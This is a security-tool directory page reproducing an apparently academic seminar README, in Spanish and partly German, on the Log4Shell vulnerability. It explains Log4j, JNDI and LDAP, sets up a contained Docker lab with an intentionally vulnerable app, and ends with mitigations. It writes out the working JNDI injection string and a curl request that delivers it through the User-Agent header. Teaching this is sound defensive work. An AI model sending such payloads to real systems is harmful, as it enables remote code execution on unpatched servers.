Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hka-seminar-log4shell — Demostración práctica de la vulnerabilidad Log4Shell (CVE-2021-44228) | Kitploit
Herramientas/GitHubGitHub/fabioeletto/hka-seminar-log4shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Demostración práctica de la vulnerabilidad Log4Shell (CVE-2021-44228)

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Trabajo de Seminario - Demostración de la Vulnerabilidad Log4Shell (CVE-2021-44228)

Aviso de Seguridad

Este repositorio es exclusivamente para fines educativos y de demostración en el contexto de un trabajo de seminario relacionado con la seguridad. No utilice este código en entornos de producción ni contra sistemas sin permiso explícito. La configuración tiene como objetivo fomentar la conciencia de seguridad y mostrar cómo pueden surgir vulnerabilidades complejas cuando se combinan características aparentemente inofensivas como el registro, la resolución de nombres y la carga dinámica de clases.

Índice de contenidos

  • 1. Descripción del proyecto

    • 1.1 Objetivo del trabajo de seminario
    • 1.2 Resumen de la demostración
  • 2. ¿Qué es Log4Shell?

  • 3. Componentes técnicos en detalle

    • 3.1 Log4j - Funcionamiento
    • 3.2 JNDI - Mecanismo de búsqueda
    • 3.3 LDAP - Estructura y rol
    • 3.4 Flujo general de Log4Shell
  • 4. Estructura del proyecto y configuración

  • 4.1 Resumen de directorios
  • 4.2 Requisitos previos
  • 4.3 Configuración
  • 5. Demo del proyecto

  • 6. Medidas de protección

  • 7. Conclusión

  • 8. Fuentes

  • 1. Descripción del proyecto

    1.1 Objetivo del trabajo de seminario

    El objetivo de este trabajo de seminario es proporcionar una comprensión profunda de la vulnerabilidad Log4Shell (CVE-2021-44228), que se hizo conocida en diciembre de 2021 y fue clasificada como una de las vulnerabilidades de seguridad más críticas de los últimos años. En el trabajo se explican tanto los fundamentos teóricos como se muestra una demostración práctica de la vulnerabilidad.

    1.2 Resumen de la demostración

    Para la ilustración práctica de la vulnerabilidad Log4Shell, se ha creado en este repositorio un entorno aislado y contenerizado que reproduce el flujo completo del ataque de manera reproducible. La demostración se basa en tres componentes centrales:

    • vulnerable-app: Una aplicación Spring Boot intencionalmente vulnerable con Log4j en la versión 2.14.1. Registra el encabezado User-Agent de la solicitud HTTP, que los atacantes pueden manipular para explotar la vulnerabilidad.
    • ldap-server: Un fork de la conocida herramienta marshalsec, que actúa como servidor LDAP. Este servidor está bajo el control del atacante y proporciona una referencia a una clase Java maliciosa que se ejecutará más tarde.
    • payload-server: Un servidor HTTP simple que entrega una clase Java maliciosa (Exploit.class). Al igual que el servidor LDAP, este servidor está bajo el control del atacante.

    Nota: Se puede encontrar información más detallada sobre la configuración y la ejecución de la demostración en las secciones 4. Estructura del proyecto y configuración y 5. Demo del proyecto.

    2. ¿Qué es Log4Shell?

    Log4Shell es el nombre de una vulnerabilidad de seguridad crítica en la biblioteca Java Log4j con la designación CVE-2021-44228. Permite a un atacante ejecutar código arbitrario en un servidor remoto (Remote Code Execution, RCE) con un esfuerzo mínimo.

    La vulnerabilidad afecta a Log4j en las versiones 2.0 a 2.14.1 y es tan grave que muchas autoridades de seguridad, incluyendo la BSI (Oficina Federal de Seguridad de la Información de Alemania), la han clasificado con el nivel de riesgo más alto.

    Log4Shell es especialmente peligrosa porque...

    • Log4j está extremadamente extendido. Se utiliza desde servidores de juegos hasta aplicaciones empresariales.
    • No se requiere autenticación, cualquier atacante externo anónimo puede potencialmente causar daños.
    • El vector de ataque es trivial; a menudo basta con enviar una cadena manipulada a la aplicación.
    • La funcionalidad en Log4j para explotar esta vulnerabilidad está activada por defecto.

    La causa real radica en una funcionalidad de Log4j que permite cargar contenido dinámico en mensajes de registro a través de las llamadas búsquedas (lookups). En combinación con JNDI (Java Naming and Directory Interface) y el protocolo LDAP (Lightweight Directory Access Protocol), esto permite cargar y ejecutar clases Java maliciosas remotas.

    El descubrimiento y la publicación de la vulnerabilidad desencadenaron una ola de seguridad a nivel mundial. Muchos sistemas tuvieron que ser parcheados o desconectados de inmediato. Posteriormente, se dieron a conocer otras vulnerabilidades relacionadas (por ejemplo, CVE-2021-45046), lo que demuestra la profundidad y peligrosidad del problema.

    A continuación, se explican en detalle las tecnologías involucradas y su interacción para desarrollar una comprensión más profunda de la vulnerabilidad.

    3. Componentes técnicos en detalle

    3.1 Log4j - Funcionamiento

    Log4j es una biblioteca creada por Apache para el registro de eventos en aplicaciones Java. El registro (logging) es una herramienta central en el desarrollo de software para monitorear sistemas o analizar errores. Log4j es uno de los frameworks de registro más conocidos y utilizados en el ecosistema Java y se emplea tanto en aplicaciones pequeñas como en grandes sistemas empresariales.

    ¿Por qué es importante el registro?

    Mientras un programa se ejecuta, ocurren eventos como:

    • Solicitudes de usuarios
    • Cambios de estado internos
    • Mensajes de error

    Estos eventos se pueden documentar con logs, generalmente como salida de texto en la consola, en archivos o a través de protocolos de red hacia servidores de registro centralizados. Mediante un registro adecuado, se puede rastrear qué hizo una aplicación y cuándo.

    ¿Qué ofrece Log4j?

    Log4j proporciona una infraestructura flexible y altamente configurable para la generación y procesamiento de mensajes de registro. Entre las funciones centrales se incluyen:

    • Niveles de registro (Log Levels): Existen diferentes niveles de importancia (por ejemplo, DEBUG, INFO, WARN, ERROR) que permiten controlar el nivel de detalle del registro.
    • Appenders: Las salidas de registro pueden dirigirse a diferentes destinos (por ejemplo, consola, archivo o servidores remotos).
    • Layouts: Con los layouts se define el formato del mensaje de registro (por ejemplo, marca de tiempo, hilo, mensaje).

    Otras características relevantes para este trabajo de seminario se tratan en secciones posteriores, especialmente la funcionalidad de marcadores de posición y la funcionalidad de búsqueda (lookup).

    Ejemplo simple```java

    import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

    public class Example { private static final Logger logger = LogManager.getLogger();

    root@kitploit:~
    public static void main(String[] args) {
        logger.info("Starte Anwendung...");
    }
    

    }

    root@kitploit:~
    En este sencillo ejemplo, se crea o se recupera una instancia de Logger si ya existe. Luego, se emite un mensaje de log en el nivel `INFO`. Log4j se encarga del formateo y la salida del mensaje, basándose en la configuración. Un ejemplo de configuración podría ser el siguiente:```xml
    <Configuration status="WARN">
        <Appenders>
            <Console name="Console" target="SYSTEM_OUT">
                <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
            </Console>
        </Appenders>
        <Loggers>
            <Root level="info">
                <AppenderRef ref="Console"/>
            </Root>
        </Loggers>
    </Configuration>
    

    Esta configuración define un appender que imprime mensajes de log en la consola en el formato Datum Uhrzeit Log-Level Loggername - Nachricht. Este appender se asigna luego al logger raíz, que procesa todos los mensajes de log a partir del nivel INFO.

    La salida podría verse así:

    root@kitploit:~
    2023-10-01 12:00:00 INFO  Example - Starte Anwendung...
    ```
    Pasemos ahora a las características específicas de Log4j que son más relevantes para la vulnerabilidad Log4Shell.
    
    #### Marcadores de posición en mensajes de registro
    
    Una característica particularmente útil de Log4j es el soporte de **marcadores de posición** en los mensajes de registro. De esta manera, se pueden insertar contenidos dinámicos en tiempo de ejecución en la salida del registro:```java
    String username = "Alice";
    logger.info("Benutzer angemeldet: {}", username);
    ```
    De esta manera, en tiempo de ejecución, `{}` se reemplaza por el valor real de la variable `username`. Esto produce la siguiente salida:```text
    "Benutzer angemeldet: Alice"
    ```
    #### Expresiones dinámicas llamadas Lookups
    
    Además de los marcadores de posición simples, Log4j también ofrece la posibilidad de resolver expresiones más complejas directamente en el mensaje de registro. Esta función se denomina **Lookup**: permite insertar valores dinámicamente en tiempo de ejecución (por ejemplo, variables de entorno, información del sistema o valores de configuración).
    
    Ejemplos de tales expresiones dinámicas:
    
    - `${env:HOME}` - devuelve el valor de la variable de entorno `HOME`. En Linux/macOS sería, por ejemplo, `/home/usuario`.
    - `${docker:...}` - podría proporcionar información sobre el contenedor Docker en el que se ejecuta la aplicación.
    - `${jndi:...}` - realiza una búsqueda JNDI para cargar recursos internos o externos.
    
    En la siguiente sección se examinará más de cerca la funcionalidad JNDI, ya que desempeña un papel central en la vulnerabilidad Log4Shell.
    
    ### 3.2 JNDI - Mecanismo de Lookup
    
    **JNDI** significa _Java Naming and Directory Interface_ y es una API de Java estandarizada que permite acceder a **servicios de nombres y directorios**. Con JNDI, las aplicaciones Java pueden hacer referencia a recursos no mediante rutas técnicas directas, sino mediante nombres simbólicos.
    
    Un uso clásico de JNDI es la búsqueda de conexiones a bases de datos, el cual puede ver aquí:```java
    public class JndiExample {
        public static void main(String[] args) throws Exception {
            InitialContext ctx = new InitialContext();
            Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
            // Datenbankverbindung verwenden
        }
    }
    ```
    Primero se crea un `InitialContext`, que representa el punto de entrada para la resolución de nombres utilizando JNDI. Luego, mediante el método `lookup` se busca un recurso. En este caso, una fuente de datos (`DataSource`) con el nombre simbólico `java:/comp/env/jdbc/myDB`.
    
    #### ¿Qué ventajas ofrece JNDI?
    
    - **Desacoplamiento de aplicación e infraestructura**: Las configuraciones no tienen que estar almacenadas en el código, sino que pueden gestionarse centralmente en un servidor.
    - **Reutilización y portabilidad**: Una aplicación puede ejecutarse sin problemas en múltiples entornos (p. ej., desarrollo, prueba, producción) sin necesidad de modificar el código. Solo es necesario ajustar los respectivos archivos de configuración.
    - **Flexibilidad**: JNDI es independiente del protocolo; solo proporciona una interfaz y la comunicación real la realiza en segundo plano un llamado _Service Provider_. Esto permite que JNDI acceda a varios servicios, no solo a LDAP, sino también a RMI, DNS, CORBA, etc.
    
    #### Estructura de JNDI
    
    ![JNDI Aufbau](https://assets.kitploit.com/production/public/readmes/25332/c3003cd794fe41d2fa1e95ed73c2fbfa03e41dbbe002b71ef05f52009109a44e.png)
    
    La aplicación Java utiliza la interfaz independiente del protocolo de JNDI, que contiene clases como `InitialContext`, con el método `lookup`. La API es siempre la misma, ya sea que se use LDAP, DNS, etc. El Naming Manager actúa como intermediario y selecciona el _Service Provider_ adecuado, que se encarga de la comunicación real. El JNDI SPI (Service Provider Interface) es un conjunto de clases que implementan la funcionalidad de JNDI para varios protocolos. En nuestro caso, el Service Provider relevante es **LDAP**.
    
    En la siguiente sección, examinaremos más de cerca el Service Provider **LDAP**.
    
    ### 3.3 LDAP - Estructura y función
    
    **LDAP** significa _Lightweight Directory Access Protocol_ y es un protocolo de red estandarizado que permite el acceso a los llamados **servicios de directorio**. Fue desarrollado originalmente como una alternativa liviana a X.500 y hoy es un estándar en muchas redes empresariales, especialmente para la administración centralizada de usuarios y permisos.
    
    #### ¿Qué es un servicio de directorio?
    
    Un servicio de directorio es una base de datos estructurada que almacena información en forma jerárquica. A diferencia de las bases de datos relacionales, un directorio es:
    
    - principalmente **orientado a lectura**
    - **altamente jerárquico** (como un sistema de archivos)
    - optimizado para **acceso rápido** a datos de identidad o configuración
    
    #### Estructura de un directorio LDAP
    
    ![LDAP Baum](https://assets.kitploit.com/production/public/readmes/25332/761ca4ea64e8e529e6a78eea6c96fdd1daaca78f110277f071c92586f35abfca.png)
    
    Como se ve en la imagen, un directorio LDAP está organizado en una estructura arbórea. En el nivel raíz se encuentran los **Domain Components (dc)**. Debajo pueden haber **Organizational Units (ou)**, que representan subdivisiones adicionales, como por ejemplo `Users`. Para usuarios u objetos individuales existen **Common Names (cn)**, que identifican la entrada específica y pueden contener varios atributos.
    
    **Significado:**
    
    - `dn`: Distinguished Name
    - `dc`: Domain Component
    - `ou`: Organizational Unit
    - `cn`: Common Name
    
    Ahora veamos cómo se accede a LDAP y qué papel juega en la vulnerabilidad Log4Shell.
    
    #### ¿Cómo se accede a LDAP?
    
    En LDAP también se pueden almacenar referencias a clases externas que pueden cargarse según sea necesario. Esto se hace mediante atributos especiales como `javaClassName` y `javaCodeBase`. Estos atributos pueden apuntar a una URL desde la cual se debe cargar una clase Java.
    
    Con la siguiente URL podemos, por ejemplo, consultar un objeto que hace referencia a una clase Java:```
    ldap://ldap-server:1389/Exploit
    ```
    ![LDAP Eintrag](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)
    
    Como se ve en la imagen, la entrada LDAP contiene un atributo `javaClassName` que hace referencia a la clase `Exploit`. El atributo `javaCodeBase` especifica la URL desde la cual se debe cargar la clase. En este caso, es un servidor HTTP con la dirección `http://payload-server/` que proporciona la `Exploit.class`.
    
    Ahora hemos examinado todos los componentes técnicos en detalle. En la siguiente sección se describe el flujo general de la vulnerabilidad Log4Shell para entender cómo estas tecnologías interactúan y qué vector de ataque se genera.
    
    ### 3.4 Flujo general de Log4Shell
    
    Después de haber examinado individualmente las tres tecnologías involucradas, **Log4j** como framework de logging, **JNDI** como interfaz de servicio de directorio y **LDAP** como servicio de directorio concreto, ahora queda claro lo peligrosa que puede ser su combinación si no se han tomado medidas de seguridad.
    
    En versiones de Log4j hasta la 2.14.1, era posible permitir que los llamados **Lookups** se evaluaran directamente en los mensajes de registro. Esto permitía incorporar consultas JNDI a través de LDAP que luego podían cargar y ejecutar clases Java arbitrarias desde un servidor remoto, sin haber activado explícitamente esta funcionalidad.
    
    #### Escenario concreto en la interacción:
    
    Ahora aplicamos lo aprendido en un ejemplo concreto. Como primer paso, iniciamos una búsqueda JNDI con la siguiente expresión:```text
    ${jndi:...}
    ```
    Usemos ahora el proveedor de servicios LDAP para cargar una clase Java remota `ldap://ldap-server:1389/Exploit`. En conjunto, se obtiene la siguiente cadena:```text
    ${jndi:ldap://ldap-server:1389/Exploit}
    ```
    Ahora solo falta que un atacante consiga que esta cadena llegue a un mensaje de registro, p. ej., manipulando una cabecera HTTP.
    
    ![Flujo de Log4Shell](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)
    
    Como se ve en la imagen, a la izquierda está el atacante, que aloja su propio servidor LDAP y servidor de carga. A la derecha está la aplicación vulnerable con Log4j versión 2.14.1. El flujo del ataque es el siguiente:
    
    1. Un atacante envía una solicitud HTTP a la aplicación e introduce la cadena manipulada mostrada anteriormente, por ejemplo, en la cabecera `User-Agent`:   ```http
       User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
       ```
    2. La aplicación registra el encabezado `User-Agent`:   ```java
       logger.info("User-Agent: {}", request.getHeader("User-Agent"));
       ```
    Log4j reconoce `${jndi:...}` y realiza automáticamente una **búsqueda JNDI** a través del protocolo especificado `ldap`
    
    3. Ahora se invoca al proveedor de servicios LDAP para resolver la URL especificada `ldap://ldap-server:1389/Exploit`.
    
    4. El servidor LDAP responde con una referencia a una **clase Java externa (`Exploit.class`)**, que se encuentra en el siguiente servidor:   ```
       http://payload-server:8000/Exploit.class
       ```
    5. La aplicación envía una solicitud al servidor de payload para cargar la `Exploit.class`.
    
    6. El servidor de payload responde con la clase Java `Exploit.class`. Posteriormente, esta clase se ejecuta sin ninguna validación. El atacante tiene así el control completo sobre el código que se ejecuta en el servidor vulnerable.
    
    #### ¿Por qué funciona esto?
    
    Porque:
    
    - Log4j interpreta el mensaje de log en lugar de solo mostrarlo
    - JNDI permite internamente una conexión a cualquier proveedor de servicios
    - el cargador de clases ejecuta código externo sin restricciones.
    
    La interacción de **búsquedas dinámicas en Log4j**, **resolución flexible de nombres mediante JNDI** y el **protocolo LDAP** crea una superficie de ataque inesperada. Lo que originalmente fue concebido como una potente característica de configuración se convirtió en una puerta de entrada para la ejecución remota de código.
    
    En la siguiente sección se describen la estructura del proyecto y la configuración de la demo para ejecutar la vulnerabilidad localmente.
    
    ## 4. Estructura del proyecto y configuración
    
    ### 4.1 Resumen de directorios
    
    La estructura del proyecto refleja los tres componentes centrales:```text
    log4shell/
    ...
    ├── vulnerable-app/              # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1
    ├── ldap-server/                 # LDAP-Server (Fork von marshalsec)
    ├── payload-server/              # HTTP-Server zur Auslieferung des Exploit-Payloads
    ...
    ```
    ### 4.2 Requisitos previos
    
    Para ejecutar la demo de Log4Shell localmente, se requieren los siguientes requisitos previos:
    
    #### Docker y Docker Compose
    
    Toda la infraestructura se basa en contenedores. Docker garantiza que cada componente (vulnerable-app, ldap-server, payload-server) se ejecute en un entorno aislado.
    
    - **Docker**:  
      Instalación en [https://www.docker.com/get-started](https://www.docker.com/get-started)
    
    - **Docker Compose** (ya incluido en Docker Desktop)  
      Alternativamente, se puede instalar desde [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
    
    #### cURL
    
    Para ejecutar el ataque desde la línea de comandos, se puede utilizar la herramienta `curl`:
    
    - Ya preinstalado en Linux/macOS
    - En Windows a través de [https://curl.se/](https://curl.se/) o incluido en Git Bash
    
    > **Nota:** La aplicación y todos los servidores incluidos se ejecutan localmente en su computadora y se comunican exclusivamente dentro de una red Docker aislada (`log4shell-network`). No se necesita ni se establece ninguna conexión con servidores externos.
    
    ### 4.3 Configuración
    
    En esta sección se describe cómo configurar e iniciar el entorno localmente.
    
    #### Paso 1: Clonar el repositorio```bash
    git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
    cd hka-seminar-log4shell
    ```
    #### Paso 2: Crear e iniciar contenedores
    
    Con Docker Compose se pueden iniciar todos los servicios necesarios con un solo comando:```bash
    docker-compose up --build
    ```
    `docker-compose up --build` provoca:
    
    - Las imágenes para `vulnerable_app`, `ldap_server` y `payload_server` se construyen
    - Los tres servicios se inician
    - Se comunican a través de una red interna común de Docker (`log4shell-network`)
    
    Tras un inicio exitoso, la aplicación es accesible a través del siguiente endpoint:```
    http://localhost:8080
    ```
    Los registros y eventos aparecen en vivo en la consola. Los contenedores se ejecutan mientras la ventana de la terminal esté abierta (o el proceso se ejecute en segundo plano).
    
    > **Nota:** Asegúrese de que ningún otro servicio esté ejecutándose en los puertos **8080**, **1389** o **8000** para evitar conflictos.
    
    > Si desea cerrar los contenedores, puede hacerlo con `docker-compose down`. Esto detendrá y eliminará todos los contenedores en ejecución, pero las imágenes se conservarán.
    
    ## 5. Demostración del proyecto
    
    En esta sección se muestra cómo se puede desencadenar intencionalmente la vulnerabilidad Log4Shell en el entorno de demostración proporcionado. Todos los componentes iniciados previamente trabajan juntos:
    
    - La **vulnerable-app** registra el encabezado `User-Agent` con Log4j
    - El **ldap-server** devuelve una referencia manipulada
    - El **payload-server** proporciona la clase Java real (`Exploit.class`)
    
    #### Ataque paso a paso
    
    Para ejecutar la demostración, necesita dos ventanas de consola. Primero, inicie el entorno con `docker-compose up --build` en una terminal, si aún no lo ha hecho. En una segunda terminal, realice los siguientes pasos:
    
    1. **Verifique que el archivo aún no existe**:
    
       Dado que se trata de una demostración, se crea un archivo vacío como exploit para demostrar la ejecución exitosa. Puede verlo en la clase `payload-server/Exploit.java`. Para verificar que el archivo aún no existe, ejecute el siguiente comando:   ```bash
       docker exec vulnerable_app ls -l /tmp/remote_code_execution
       ```
    Si el archivo no existe, debería aparecer un mensaje de error como `No such file or directory`. Esto confirma que el exploit aún no se ha ejecutado.
    
    2. **Envíe la cadena manipulada a la aplicación**:   ```bash
       curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
       ```
    Explicación del payload:
    
       - `${jndi:...}`: Log4j interpreta automáticamente esta expresión y realiza una consulta JNDI.
       - `ldap://ldap-server:1389`: Se conecta con el servidor LDAP que se ejecuta en la red Docker.
       - `/Exploit`: Nombre de la entrada LDAP que apunta a la clase maliciosa.
       - `http://localhost:8080`: La URL de la aplicación vulnerable a la que envía la solicitud para desencadenar la vulnerabilidad Log4j.
    
    3. **¿Qué sucede en segundo plano?**
    
       ![Salida de consola Log4Shell](https://assets.kitploit.com/production/public/readmes/25332/03c712b466bb7ce1a2bac45c9211ad457f76382e01dd7f06eca5206cc3caeeda.png)
    
       - La aplicación recibe la solicitud y quiere registrar el encabezado `User-Agent`
       - Log4j evalúa el encabezado `User-Agent` y realiza una **consulta JNDI** a través de **LDAP**
       - El servidor LDAP apunta a una `Exploit.class` remota que el servidor de payload proporciona
       - La aplicación descarga la clase del servidor de payload y la ejecuta
       - Al final, se registra el mensaje de registro original con el contenido dinámico
    
    > Nota: Como ya se mencionó, en esta demo solo se crea un archivo vacío para demostrar la ejecución exitosa. En escenarios de ataque reales, ¡se podría ejecutar cualquier código!
    
    4. **Verificar el resultado del ataque**
    
       Ahora puede verificar nuevamente si el archivo `/tmp/remote_code_execution` fue creado en el contenedor:   ```bash
       docker exec vulnerable_app ls -l /tmp/remote_code_execution
       ```
    Si el ataque tuvo éxito, debería ver la siguiente salida:   ```
       -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
       ```
    Con solo una línea de registro manipulada se desencadena un proceso completo de ejecución remota de código, eso es precisamente lo que hace que Log4Shell sea tan peligroso. Esta demostración muestra cómo la interacción de **Log4j**, **JNDI** y **LDAP** puede llevar a la explotación.
    
    ## 6. Medidas de protección
    
    La vulnerabilidad Log4Shell ha demostrado cómo las aplicaciones modernas pueden verse comprometidas de manera profunda por características aparentemente inofensivas. Para proteger eficazmente los sistemas contra tales ataques, se deben implementar las siguientes medidas:
    
    - **Actualizar la versión de Log4j (al menos 2.17.1)**
    
      La medida más importante es **actualizar a una versión de Log4j ≥ 2.17.1**, ya que solo a partir de esta versión se corrigieron todas las vulnerabilidades conocidas (incluyendo DoS y exploits de configuración). ¡Las versiones anteriores siguen siendo vulnerables y no deben seguir utilizándose!
    
    - **Deshabilitar las búsquedas JNDI**
    
      Si no es posible una actualización completa, se deben **deshabilitar las búsquedas JNDI**. Esto se puede lograr en el archivo `log4j2.properties` estableciendo la siguiente configuración:  ```properties
      log4j2.formatMsgNoLookups=true
      ```
    Diese Einstellung verhindert, dass Log4j JNDI-Lookups in Log-Nachrichten auswertet. Dadurch wird die Angriffsfläche erheblich reduziert. Jedoch ist dies nur ein temporärer Workaround, da andere Schwachstellen weiterhin bestehen können (DoS, Konfigurations-Exploits).
    
    - **Eingaben validieren**
    
      Alle Benutzereingaben sollten **validiert und bereinigt** werden, bevor sie in Log-Nachrichten verwendet werden. Insbesondere sollten dynamische Ausdrücke wie `${jndi:...}` nicht direkt übernommen werden.
    
    - **Ausgehende Netzwerkverbindungen einschränken**
    
      Ein zentraler Bestandteil des Exploits war der ungehinderte Zugriff auf externe Server, welche vom Angreifer kontrolliert werden. Systeme sollten so konfiguriert werden, dass sie **nicht beliebige externe Ziele erreichen können**, z. B. durch Firewalls oder Netzwerk-Policies.
      Insbesondere sollte der Zugriff auf unbekannte LDAP-Ziele aus der Anwendung heraus unterbunden werden.
    
    ## 7. Fazit
    
    Die Log4Shell-Sicherheitslücke zeigt eindrucksvoll, wie wichtig es ist, sich nicht nur auf die Sicherheit des eigenen Codes zu verlassen, sondern auch die genutzten Bibliotheken und Frameworks sorgfältig auszuwählen und zu verstehen. In diesem Fall führte eine scheinbar harmlose Logging-Bibliothek (Log4j) zu einer Remote-Code-Execution-Schwachstelle. Daran sieht man, dass auch Abhängigkeiten zu einer Einfallstür für Exploits werden können. Man sollte sich immer fragen, ob man eine externe Bibliothek wirklich benötigt oder ob sich eine Funktion auch ohne zusätzliche Abhängigkeiten umsetzen lässt.
    
    Ein weiterer wichtiger Punkt ist das Thema **versteckte Komplexität**. Funktionen wie `${env:HOME}` innerhalb einer Log-Nachricht sehen harmlos aus, verbergen aber komplexe Mechanismen im Hintergrund, wie dynamische Lookups. Dadurch kann sich unbemerkt gefährliches Verhalten einschleichen. Alternativ sollte man lieber explizite und transparente Lösungen verwenden, etwa `System.getenv("HOME")`, so behält man die Kontrolle und kann nachvollziehen, was passiert.
    
    Zudem gilt ein allgemeiner, aber oft vernachlässigter Grundsatz: **Niemals Benutzereingaben ungeprüft weiterverarbeiten**. Besonders bei sicherheitsrelevanten Operationen wie Logging, Datenbankzugriffen oder Systembefehlen müssen Eingaben validiert und bereinigt werden.
    
    Nicht zuletzt zeigt der Vorfall, wie gefährlich es sein kann, wenn mächtige Features wie JNDI-Lookups standardmäßig aktiviert sind. Wäre in Log4j diese Funktion nicht standardmäßig aktiviert gewesen, wäre nur eine kleine Teilmenge der Systeme betroffen gewesen.
    
    **Die wichtigsten Erkenntnisse:**
    
    - Sicherheitslücken können auch in scheinbar harmlosen Bibliotheken stecken.
    - Überlegen, ob man externe Bibliotheken wirklich benötigt.
    - Versteckte Komplexität vermeiden.
    - Niemals ungeprüfte Benutzereingaben weiterverarbeiten.
    - Mächtige Features wie JNDI-Lookups sollten nicht standardmäßig aktiviert sein.
    
    ## 8. Quellen
    
    - [CVE-2021-44228 – National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
    - [BSI-Warnmeldung zu Log4Shell](https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=10)
    - [Log4j Dokumentation](https://logging.apache.org/log4j/2.x/index.html)
    - [JNDI Konzepte](https://docs.oracle.com/javase/tutorial/jndi/concepts/index.html)
    - [JNDI Overview](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html)
    - [LDAP Einführung (RFC 4511)](https://datatracker.ietf.org/doc/html/rfc4511)
    - [LDAP](https://www.redhat.com/en/topics/security/what-is-ldap-authentication)
    - [Log4Shell](https://www.ibm.com/think/topics/log4shell)
    - [Log4Shell Video Teil 1](https://www.youtube.com/watch?v=w2F67LbEtnk)
    - [Log4Shell Video Teil 2](https://www.youtube.com/watch?v=iI9Dz3zN4d8)
    - [Fork marshalsec](https://github.com/fabioeletto/marshalsec)
    
    Descargar herramienta